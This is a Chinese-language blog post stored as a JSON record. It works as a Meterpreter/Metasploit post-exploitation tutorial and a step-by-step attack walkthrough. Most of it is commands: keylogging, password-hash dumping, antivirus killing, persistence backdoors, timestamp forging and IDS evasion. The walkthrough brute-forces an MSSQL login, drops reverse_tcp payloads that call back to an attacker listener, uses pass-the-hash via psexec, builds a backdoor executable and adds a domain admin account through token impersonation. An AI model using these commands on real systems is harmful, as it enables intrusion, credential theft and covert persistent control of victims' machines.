{"id":24,"title":"Meterpreter简述","content":"Metasploit是Windows系统下的ShellCode—meterpreter!\nMetasploitFramework是一个缓冲区溢出测试使用的辅助工具,也可以说是一个漏洞利用和测试平台,它集成了各种平台上常见的溢出漏洞和流行的shellcode,并且不断更新,使得缓冲区溢出测试变的方便和简单。\nexploit是指“漏洞及其利用”,其利用一切可以利用的工具、采取一切可以采取的方法、找到一切可以找到的漏洞。并且对漏洞资料的分析研究,达到某些目的。\nmetasploit工具的主页是http:\/\/www.measoloit.com\nmetasploit框架的下载地址是:http:\/\/www.metasploit.com\/framework\/download\n在Backtrack5里面自带的溢出工具内,在得到溢出的结果后,我们都可以在进行溢出连接时得到一个meterpreter的会话\nMeterpreter简述 - c32 - c32s blog\nMeterpreter的特征\nmeterpreter是metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个meterpretershell的链接。\nmeterpretershell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息\n另外meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。\n\n最后,meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。\n\nmeterpreter工作的好处:\n1、不创建进程(使用的内存注入方式)\n2、meterpreter是一个解释器加载各种攻击命令\n3、工作在被攻击进程的上下文中\n4、通信是加密的(TLV协议),可以躲避IDS\n5、没有硬盘写入操作\n6、使用的通信方式是信道模式,可以同时和几个信道工作,支持多信道\n7、支持扩展编写\n \nmeterpreter工作过程:\n1、漏洞的利用代码+第一阶段的攻击载荷\n2、攻击载荷反向连接到msf\n3、发送第二阶段的攻击载荷\ndMSF发送meterpreter服务器dll\n4、客户端和服务器进行通信\n \n常用的系统命令:\nbackground把当前的会话设置为背景,需要的时候在启用\ngetuid查看对方正在运行的用户\nps列出所有的进程\ngetpid返回运行meterpreter的id号\nsysinfo产看系统信息和体系结构\nshell切换到cmd的系统权限方式\nexit退出shell会话返回meterpreter或终止meterpreter\n \n进程迁移和提权:\ngetsystem会自动利用各种各样的系统漏洞来进行权限提升\nmigrate进程id进程迁移\n \n和目标建立多重通信的信道:\nexcute用来启用多重通信信道\nexcute-fexploit.exe-c\nchannel-l列出可用通信信道\ninteract和信道进行交互(获得cmd)\nwrite3向信道写入数据,以‘.’结束\n \n常用的文件系统的命令:\npwd产看当前所在的工作目录\ncd切换到想要的工作目录\nsearch-f*.dof-dc:\\搜索文件\ndownload支持文件下载\ndownloadc:\\a.doc\/root下载到本地的root目录\n \nupload\/root\/mm.exec:\\sys.exe上传到远程主机\ntimestomp更改文件属性\ntimestompc:\/a.doc-v查看文件的时间信息。\ntimestompc:\/a.doc-c\"9\/23\/201314:22:11\"修改文件的创建时间\n-m,-a文件的修改时间和最后一次访问的时间。\n-z修改所有时间,尽量不要用。\n-v查看\n \n常用的网络命令:\nipconfig查看ip配置\nroute显示路由表,也可以配置ip地址。和linux方法一样\nrouteaddip地址掩码网关\nportfwd做端口转发的时候用的\nportfwd-a-L127.0.0.1-l888-h7.6.5.4-p5631\n-a添加一个新的转发规则\n-L目标主机的IP地址\n链接127.0.0.1的888端口,会被转发到7.6.5.4的5631端口\nenumdesktops是列出所有可访问的桌面\n \ngetdesktop返回用户的桌面\nsetdesktop设置到某个会话的桌面\nkeyscan_start安装键盘窃听器\nkeyscan_dump导出活跃桌面的键盘记录\n \n关于windows的桌面的编号0控制台12其他会话或远程登陆。\n \nMeterpreter脚本:\n \n \n使用runscriptname方式执行\n \n \n①vnc脚本,获取远程机器vnc界面控制\nmeterpreter>runvnc\nmeterpreter>runscreen_unlock\n \n \n②进程迁移\n当攻击成功后将连接进程从不稳定进程(如使用浏览器溢出漏洞exp进行攻击时浏览器\n可能会被目标关闭)迁移至稳定进程(explorer.exe),保持可连接。\n例子:\nmeterpreter>runpost\/windows\/manage\/migrate\n(在64位win7中migrate需要管理员权限执行后门才能成功,而migrate前后获取的\n权限是有差异的。)\n \n \n③关闭杀毒软件\nmeterpreter>runkillav(这个脚本要小心使用,可能导致目标机器蓝屏死机。)\n \n \n④获取系统密码hash\nmeterpreter>runhashdump\n(64位win7下需要管理员权限执行后门且先getsystem,然后使用\nrunpost\/windows\/gather\/hashdump来dumphash成功率更高。\n而且如果要使用shell添加系统账户的话win7下得先:\nrunpost\/windows\/escalate\/bypassuac,不然可能不会成功。)\n \n \n⑤获取系统流量数据\nmeterpreter>runpacktrecorder–i1\n \n \n⑥直捣黄龙\n可以干很多事情:获取密码,下载注册表,获取系统信息等\nmeterpreter>runscraper\n \n \n⑦持久保持\n当目标机器重启之后仍然可以控制\nmeterpreter>runpersistence–X–i50–p443–r192.168.1.111\n-X开机启动-i连接超时时间–p端口–rIP\n下次连接时:\nmsf>usemulti\/handler\nsetpayloadwindows\/meterpreter\/reverse_tcp\nsetLPOST443\nsetLHOST192.168.1.111\nexploit\n(会在以下位置和注册表以随机文件名写入文件等信息,如:\nC:\\Users\\YourtUserName\\AppData\\Local\\Temp\\MXIxVNCy.vbs\nC:\\Users\\YourtUserName\\AppData\\Local\\Temp\\radF871B.tmp\\svchost.exe\nHKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\DjMzwzCDaoIcgNP)\n \n \n⑧POST整合模块\n可实现同时多个session操作\n例子:获取hash\nmeterpreter>runpost\/windows\/gather\/hashdump\n其他还有很多,使用TAB键补全看下就知道runpost\/\n \n \nMeterpreter简述 - c32 - c32s blog\n \n当对目标系统进行溢出时,使用meterpreter作为payload,给测试者返回一个shell,可用于在目标机器上执行更多的操作。\n例子:\nmsf>nmap–sT–A–P0192.168.1.130#探测开放服务\n假如已经探测到1433(TCP)和1434(UDP)端口(mssql),\nmsf>nmap–sU192.168.1.130–P1434#确认端口开放\nmsf>useauxiliary\/scanner\/mssql\/mssql_ping\nshowoptions\nsetRHOSTS192.168.1.1\/24\nsetTHREADS20\nexploit\n \n \n至此可获取服务器名称,版本号等信息。\nmsf>useauxiliary\/scanner\/mssql\/mssql_login\nshowoptions\nsetPASS_FILE\/pentest\/exploits\/fasttrack\/bin\/dict\/wordlist.txt\nsetRHOSTS192.168.1.130\nsetTHREADS10\nsetverbosefalse\nexploit\n暴力猜解登陆密码。接下来使用mssql自带的xp_cmdshell功能添加账户:\nmsf>useexploit\/windows\/mssql\/mssql_payload\nshowoptions\nsetpayloadwindows\/meterpreter\/reverse_tcp\nsetLHOST192.168.1.111\nsetLPORT433\nsetRHOST192.168.1.130\nsetPASSWORDpassword130\nexploit\n当获取到一个meterpretershell后可以执行更多的操作:\n获取屏幕截图:screenshot\n获取系统信息:sysinfo\n获取键盘记录:\nmeterpreter>ps#查看目标机器进程,假设发现explorer.exe的进程号为1668:\nmeterpreter>migrate1668#插入该进程\nmeterpreter>runpost\/windows\/capture\/keylog_recorder#运行键盘记录模块,将击键记录保存到本地txt\ncat\/root\/.msf3\/loot\/*****.txt#查看结果\n获取系统账号密码:\nmeterpreter>usepriv\nmeterpreter>runpost\/windows\/gather\/hashdump\n当获取到密码的hash之后无法破解出明文密码且无法直接使用hash登陆,需要使用\npass-the-hash技术:\nmsf>usewindows\/smb\/psexec\nsetPAYLOADwindows\/meterpreter\/reverse_tcp\nsetLHOST192.168.1.111\nsetLPORT443\nsetRHOST192.168.1.130\nsetSMBPassaad\n3b435b51404eeaad3b435b51404ee:b75989f65d1e04af7625ed712ac36c29\nexploit\n获取到系统权限后我们可以新建一个普通账号,然后使用此账号执行我们的后门:\n在目标机器上执行:netuaerhackerpass\/add\n本地生成一个后门程序:\nmsfpayloadwindows\/meterpreter\/reverse_tcp\nLHOST=192.168.1.111\nLPORT=443X>payload.exe\n将payload.exe拷贝到目标机器然后使用新建立的账号执行\n \n \n本地执行端口监听,等待来自目标机器连接:\nmsfclimulti\/handlerPAYLOAD=windows\/meterpreter\/reverse_tcp\nLHOST=192.168.1.111\nLPORT=443\nusepriv\ngetsystem\ngetuid\n至此取得SYSTEM权限\n \n \n \n令牌模拟:当有域控账户登陆至服务器时可使用令牌模拟进行渗透取得域控权限,之后\n登陆其他机器时不需要登陆密码。\nmeterpreter>ps#查看目标机器进程,找出域控账户运行的进程ID,假如发现PID为380\nmeterpreter>steal_token380\n有时ps命令列出的进程中可能不存在域控账户的进程,此时使用incognito模块查看可\n用token:\nmeterpreter>useincognito\nmeterpreter>list_tokens–u#列出可用token,假如找到域控token\nmeterpreter>impersonate_tokenSNEAKS.IN\\\\ihazdomainadmin\nmeterpreter>add_userhackerpassword–h192.168.1.50#在域控主机上添加账户\nmeterpreter>add_group_user“DomainAdmins”hacker–h192.168.1.50#将账户添加至\n域管理员组","sort":"10","view":"3110","addtime":"1387785180","password":"","tagname":false,"sorts":"Metasploit"}